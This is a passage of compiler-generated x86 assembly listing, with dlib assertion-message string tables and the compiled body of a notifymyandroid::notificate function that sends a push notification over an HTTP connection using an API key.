DB 'l_1<unsigned long,class dlib::binary_search_tree_kernel_2<uns'
DB 'igned long,char,class dlib::memory_manager_kernel_2<char,100>'
DB ',struct std::less<unsigned long> >,class dlib::memory_manager'
DB '_kernel_2<char,100> > >::remove_any(unsigned long &)', 00H
$SG-77109 DB '.', 0aH, 00H
ORG $+1
$SG-77110 DB 'this->size() != 0', 00H
ORG $+2
$SG-77111 DB 'Failing expression was ', 00H
$SG-77112 DB 0aH, 00H
ORG $+2
$SG-77113 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-77114 DB 0aH, 09H, 'size must be greater than zero if an item is t'
DB 'o be removed', 00H
ORG $+3
$SG-77115 DB 09H, 'void set::remove_any', 00H
ORG $+2
$SG-77116 DB '.', 0aH, 00H
ORG $+1
$SG-77117 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-77118 DB '.', 0aH, 00H
ORG $+1
$SG-77119 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H
$SG-77120 DB 'Error detected in file ', 00H
$SG-77121 DB '.', 0aH, 0aH, 00H
$SG-77123 DB 'Error detected in function ', 00H
$SG-77122 DB 'const unsigned long &__thiscall dlib::set_kernel_c<class'
DB ' dlib::set_kernel_1<unsigned long,class dlib::binary_search_t'
DB 'ree_kernel_2<unsigned long,char,class dlib::memory_manager_ke'
DB 'rnel_2<char,100>,struct std::less<unsigned long> >,class dlib'
DB '::memory_manager_kernel_2<char,100> > >::element(void) const', 00H
$SG-77124 DB '.', 0aH, 00H
ORG $+1
$SG-77125 DB 'this->current_element_valid() == true', 00H
ORG $+2
$SG-77126 DB 'Failing expression was ', 00H
$SG-77127 DB 0aH, 00H
ORG $+2
$SG-77128 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-77129 DB 0aH, 09H, 'you can''t access the current element if it do'
DB 'esn''t exist', 00H
ORG $+1
$SG-77130 DB 09H, 'const T& set::element() const', 00H
ORG $+1
$SG-77131 DB '.', 0aH, 00H
ORG $+1
$SG-77132 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-77133 DB '.', 0aH, 00H
ORG $+1
$SG-77134 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H
$SG-77135 DB 'Error detected in file ', 00H
$SG-77136 DB '.', 0aH, 0aH, 00H
$SG-77138 DB 'Error detected in function ', 00H
$SG-77137 DB 'const unsigned long &__thiscall dlib::set_kernel_c<class'
DB ' dlib::set_kernel_1<unsigned long,class dlib::binary_search_t'
DB 'ree_kernel_2<unsigned long,char,class dlib::memory_manager_ke'
DB 'rnel_2<char,100>,struct std::less<unsigned long> >,class dlib'
DB '::memory_manager_kernel_2<char,100> > >::element(void)', 00H
ORG $+2
$SG-77139 DB '.', 0aH, 00H
ORG $+1
$SG-77140 DB 'this->current_element_valid() == true', 00H
ORG $+2
$SG-77141 DB 'Failing expression was ', 00H
$SG-77142 DB 0aH, 00H
ORG $+2
$SG-77143 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-77144 DB 0aH, 09H, 'you can''t access the current element if it do'
DB 'esn''t exist', 00H
ORG $+1
$SG-77145 DB 09H, 'const T& set::element', 00H
ORG $+1
$SG-77146 DB '.', 0aH, 00H
ORG $+1
$SG-77147 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-77148 DB '.', 0aH, 00H
ORG $+1
$SG-77150 DB 'Error detected in file ', 00H
$SG-77151 DB '.', 0aH, 0aH, 00H
$SG-77149 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr'
DB 'ee_kernel_c.h', 00H
ORG $+2
$SG-77152 DB 'void __thiscall dlib::binary_search_tree_kernel_c<class '
DB 'dlib::binary_search_tree_kernel_2<unsigned long,class dlib::m'
DB 'ember_function_pointer<void,void,void,void>,class dlib::memor'
DB 'y_manager_kernel_2<char,10>,struct std::less<unsigned long> >'
DB ' >::remove_any(unsigned long &,class dlib::member_function_po'
DB 'inter<void,void,void,void> &)', 00H
ORG $+2
$SG-77153 DB 'Error detected in function ', 00H
$SG-77154 DB '.', 0aH, 00H
ORG $+1
$SG-77156 DB 'Failing expression was ', 00H
$SG-77157 DB 0aH, 00H
ORG $+2
$SG-77155 DB 'this->size() != 0 && (static_cast<const void*>(&d) != st'
DB 'atic_cast<void*>(&r))', 00H
ORG $+2
$SG-77158 DB 0aH, 09H, '&r: ', 00H
ORG $+3
$SG-77159 DB 0aH, 09H, '&d: ', 00H
ORG $+3
$SG-77160 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-77161 DB 0aH, 09H, 'tree must not be empty if something is going t'
DB 'o be removed', 00H
ORG $+3
$SG-77162 DB 09H, 'void binary_search_tree::remove_any', 00H
ORG $+3
$SG-77163 DB '.', 0aH, 00H
ORG $+1
$SG-77164 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-77165 DB '.', 0aH, 00H
ORG $+1
$SG-77166 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr'
DB 'ee_kernel_c.h', 00H
ORG $+2
$SG-77167 DB 'Error detected in file ', 00H
$SG-77168 DB '.', 0aH, 0aH, 00H
$SG-77170 DB 'Error detected in function ', 00H
$SG-77169 DB 'class dlib::map_pair<unsigned long,class dlib::member_fu'
DB 'nction_pointer<void,void,void,void> > &__thiscall dlib::binar'
DB 'y_search_tree_kernel_c<class dlib::binary_search_tree_kernel_'
DB '2<unsigned long,class dlib::member_function_pointer<void,void'
DB ',void,void>,class dlib::memory_manager_kernel_2<char,10>,stru'
DB 'ct std::less<unsigned long> > >::element(void)', 00H
ORG $+1
$SG-77171 DB '.', 0aH, 00H
ORG $+1
$SG-77172 DB 'this->current_element_valid() == true', 00H
ORG $+2
$SG-77173 DB 'Failing expression was ', 00H
$SG-77174 DB 0aH, 00H
ORG $+2
$SG-77175 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-77176 DB 0aH, 09H, 'you can''t access the current element if it do'
DB 'esn''t exist', 00H
ORG $+1
$SG-77177 DB 09H, 'map_pair<domain,range>& binary_search_tree::element'
DB '()', 00H
ORG $+1
$SG-77178 DB '.', 0aH, 00H
ORG $+1
$SG-77179 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-77180 DB '.', 0aH, 00H
ORG $+1
$SG-77181 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr'
DB 'ee_kernel_c.h', 00H
ORG $+2
$SG-77182 DB 'Error detected in file ', 00H
$SG-77183 DB '.', 0aH, 0aH, 00H
$SG-77185 DB 'Error detected in function ', 00H
$SG-77184 DB 'const class dlib::map_pair<unsigned long,class dlib::mem'
DB 'ber_function_pointer<void,void,void,void> > &__thiscall dlib:'
DB ':binary_search_tree_kernel_c<class dlib::binary_search_tree_k'
DB 'ernel_2<unsigned long,class dlib::member_function_pointer<voi'
DB 'd,void,void,void>,class dlib::memory_manager_kernel_2<char,10'
DB '>,struct std::less<unsigned long> > >::element(void) const', 00H
ORG $+1
$SG-77186 DB '.', 0aH, 00H
ORG $+1
$SG-77187 DB 'this->current_element_valid() == true', 00H
ORG $+2
$SG-77188 DB 'Failing expression was ', 00H
$SG-77189 DB 0aH, 00H
ORG $+2
$SG-77190 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-77191 DB 0aH, 09H, 'you can''t access the current element if it do'
DB 'esn''t exist', 00H
ORG $+1
$SG-77192 DB 09H, 'const map_pair<domain,range>& binary_search_tree::e'
DB 'lement() const', 00H
PUBLIC __$ArrayPad$
PUBLIC ?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z ; notifymyandroid::notificate
; COMDAT xdata$x
; File c:\work\daspirum\source\src\notifymyandroid.cpp
xdata$x SEGMENT
__unwindtable$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z DD 0ffffffffH
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$2
DD 00H
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$3
DD 01H
DD 00H
DD 02H
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$4
DD 03H
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$5
DD 02H
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$5
DD 05H
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$6
DD 06H
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$7
DD 07H
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$8
DD 08H
DD FLAT:__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$9
DD 01H
DD 00H
__catchsym$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$12 DD 08H
DD FLAT:??_R0?AVexception@std@@@8
DD 0fffffe30H
DD FLAT:__catch$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$0
__tryblocktable$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z DD 02H
DD 09H
DD 0aH
DD 01H
DD FLAT:__catchsym$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$12
__ehfuncinfo$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z DD 019930522H
DD 0bH
DD FLAT:__unwindtable$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z
DD 01H
DD FLAT:__tryblocktable$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z
DD 2 DUP(00H)
DD 00H
DD 01H
; Function compile flags: /Odtp
xdata$x ENDS
; COMDAT ?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z
_TEXT SEGMENT
tv221 = -532 ; size = 4
tv216 = -528 ; size = 4
tv211 = -524 ; size = 4
tv229 = -520 ; size = 4
tv209 = -516 ; size = 4
tv228 = -512 ; size = 4
tv207 = -508 ; size = 4
tv227 = -504 ; size = 4
tv205 = -500 ; size = 4
tv67 = -496 ; size = 4
tv226 = -492 ; size = 4
tv225 = -488 ; size = 4
$T369476 = -481 ; size = 1
$T369475 = -480 ; size = 4
$T369474 = -473 ; size = 1
$T369473 = -472 ; size = 4
$T369472 = -465 ; size = 1
_e$148889 = -464 ; size = 4
_i$148804 = -460 ; size = 4
_con$148801 = -456 ; size = 4
_size$148803 = -452 ; size = 4
_sBuffer$148795 = -448 ; size = 256
$T148884 = -188 ; size = 28
$T148877 = -160 ; size = 28
$T148876 = -132 ; size = 28
$T148811 = -104 ; size = 28
$T148810 = -76 ; size = 28
$T148800 = -48 ; size = 28
__$ArrayPad$ = -20 ; size = 4
__$EHRec$ = -16 ; size = 16
_sAPIKey$ = 8 ; size = 28
_sMessage$ = 36 ; size = 28
?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z PROC ; notifymyandroid::notificate, COMDAT
; Line 10
push ebp
mov ebp, esp
push -1
push __ehhandler$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z
mov eax, DWORD PTR fs:0
push eax
push ecx
sub esp, 516 ; 00000204H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
push ebx
push esi
push edi
push eax
lea eax, DWORD PTR __$EHRec$[ebp+4]
mov DWORD PTR fs:0, eax
mov DWORD PTR __$EHRec$[ebp], esp
mov DWORD PTR __$EHRec$[ebp+12], 1
; Line 12
mov BYTE PTR __$EHRec$[ebp+12], 2
; Line 14
push OFFSET $SG-77049
lea ecx, DWORD PTR $T148800[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv225[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 3
push 80 ; 00000050H
lea eax, DWORD PTR $T148800[ebp]
push eax
call ?connect@dlib@@YAPAVconnection@1@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@G@Z ; dlib::connect
add esp, 8
mov DWORD PTR tv226[ebp], eax
mov ecx, DWORD PTR tv226[ebp]
push ecx
lea ecx, DWORD PTR _con$148801[ebp]
call ??0?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@PAVconnection@1@@Z ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 5
lea ecx, DWORD PTR $T148800[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 17
lea ecx, DWORD PTR _sMessage$[ebp]
call ?length@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::length
mov DWORD PTR _size$148803[ebp], eax
; Line 18
mov DWORD PTR _i$148804[ebp], 0
jmp SHORT $LN6@notificate
$LN5@notificate:
mov edx, DWORD PTR _i$148804[ebp]
add edx, 1
mov DWORD PTR _i$148804[ebp], edx
$LN6@notificate:
mov eax, DWORD PTR _i$148804[ebp]
cmp eax, DWORD PTR _size$148803[ebp]
jae SHORT $LN4@notificate
; Line 19
mov ecx, DWORD PTR _i$148804[ebp]
push ecx
lea ecx, DWORD PTR _sMessage$[ebp]
call ??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator[]
movsx edx, BYTE PTR [eax]
cmp edx, 32 ; 00000020H
jne SHORT $LN3@notificate
; Line 20
push OFFSET $SG-77050
push 1
mov eax, DWORD PTR _i$148804[ebp]
push eax
lea ecx, DWORD PTR _sMessage$[ebp]
call ?replace@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@IIPBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::replace
$LN3@notificate:
; Line 23
jmp SHORT $LN5@notificate
$LN4@notificate:
lea ecx, DWORD PTR _sAPIKey$[ebp]
push ecx
push OFFSET $SG-77053
lea edx, DWORD PTR $T148810[ebp]
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv67[ebp], eax
mov eax, DWORD PTR tv67[ebp]
mov DWORD PTR tv205[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 6
push OFFSET $SG-77052
mov ecx, DWORD PTR tv205[ebp]
push ecx
lea edx, DWORD PTR $T148811[ebp]
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv227[ebp], eax
mov eax, DWORD PTR tv227[ebp]
mov DWORD PTR tv207[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR _sMessage$[ebp]
push ecx
mov edx, DWORD PTR tv207[ebp]
push edx
lea eax, DWORD PTR $T148876[ebp]
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@ABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv228[ebp], eax
mov ecx, DWORD PTR tv228[ebp]
mov DWORD PTR tv209[ebp], ecx
mov BYTE PTR __$EHRec$[ebp+12], 8
push OFFSET $SG-77051
mov edx, DWORD PTR tv209[ebp]
push edx
lea eax, DWORD PTR $T148877[ebp]
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv229[ebp], eax
mov ecx, DWORD PTR tv229[ebp]
mov DWORD PTR tv211[ebp], ecx
mov BYTE PTR __$EHRec$[ebp+12], 9
mov edx, DWORD PTR tv211[ebp]
push edx
lea ecx, DWORD PTR _sMessage$[ebp]
call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@$$QAV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator=
mov BYTE PTR __$EHRec$[ebp+12], 8
lea ecx, DWORD PTR $T148877[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR $T148876[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR $T148811[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 5
lea ecx, DWORD PTR $T148810[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 24
lea ecx, DWORD PTR _sMessage$[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
mov esi, eax
lea ecx, DWORD PTR _sMessage$[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
push eax
lea ecx, DWORD PTR _sMessage$[ebp]
call ?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::c_str
push eax
lea ecx, DWORD PTR _con$148801[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write
cmp eax, esi
je SHORT $LN2@notificate
; Line 25
mov BYTE PTR $T369472[ebp], 0
mov BYTE PTR __$EHRec$[ebp+12], 2
lea ecx, DWORD PTR _con$148801[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _sAPIKey$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _sMessage$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369472[ebp]
jmp $LN8@notificate
$LN2@notificate:
; Line 28
push 200 ; 000000c8H
push 256 ; 00000100H
lea eax, DWORD PTR _sBuffer$148795[ebp]
push eax
lea ecx, DWORD PTR _con$148801[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read
; Line 30
lea ecx, DWORD PTR _sBuffer$148795[ebp]
push ecx
lea ecx, DWORD PTR $T148884[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv216[ebp], eax
push 0
push OFFSET $SG-77054
mov ecx, DWORD PTR tv216[ebp]
call ?find@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::find
mov DWORD PTR $T369473[ebp], eax
lea ecx, DWORD PTR $T148884[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
cmp DWORD PTR $T369473[ebp], 0
je SHORT $LN1@notificate
; Line 31
mov BYTE PTR $T369474[ebp], 0
mov BYTE PTR __$EHRec$[ebp+12], 2
lea ecx, DWORD PTR _con$148801[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _sAPIKey$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _sMessage$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369474[ebp]
jmp $LN8@notificate
$LN1@notificate:
; Line 33
push 500 ; 000001f4H
lea edx, DWORD PTR _con$148801[ebp]
push edx
call ?close_gracefully@dlib@@YAXAAV?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@1@K@Z ; dlib::close_gracefully
add esp, 8
; Line 34
mov BYTE PTR __$EHRec$[ebp+12], 2
lea ecx, DWORD PTR _con$148801[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
jmp SHORT $LN10@notificate
__catch$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$0:
; Line 37
mov eax, DWORD PTR _e$148889[ebp]
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR _e$148889[ebp]
mov eax, DWORD PTR [edx+4]
call eax
sub esp, 28 ; 0000001cH
mov ecx, esp
mov DWORD PTR $T369475[ebp], esp
push eax
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv221[ebp], eax
push 37 ; 00000025H
push OFFSET $SG-77055
push OFFSET $SG-77056
call ?error@log@helper@@YAXPBD0JV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; helper::log::error
add esp, 40 ; 00000028H
; Line 38
mov DWORD PTR __$EHRec$[ebp+12], 1
mov eax, __tryend$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$1
ret 0
$LN10@notificate:
mov DWORD PTR __$EHRec$[ebp+12], 1
__tryend$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$1:
; Line 40
mov BYTE PTR $T369476[ebp], 1
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _sAPIKey$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _sMessage$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369476[ebp]
$LN8@notificate:
; Line 41
mov ecx, DWORD PTR __$EHRec$[ebp+4]
mov DWORD PTR fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_TEXT ENDS
; COMDAT text$x
text$x SEGMENT
__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$2:
lea ecx, DWORD PTR _sMessage$[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$3:
lea ecx, DWORD PTR _sAPIKey$[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$4:
lea ecx, DWORD PTR $T148800[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$5:
lea ecx, DWORD PTR _con$148801[ebp]
jmp ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$6:
lea ecx, DWORD PTR $T148810[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$7:
lea ecx, DWORD PTR $T148811[ebp]
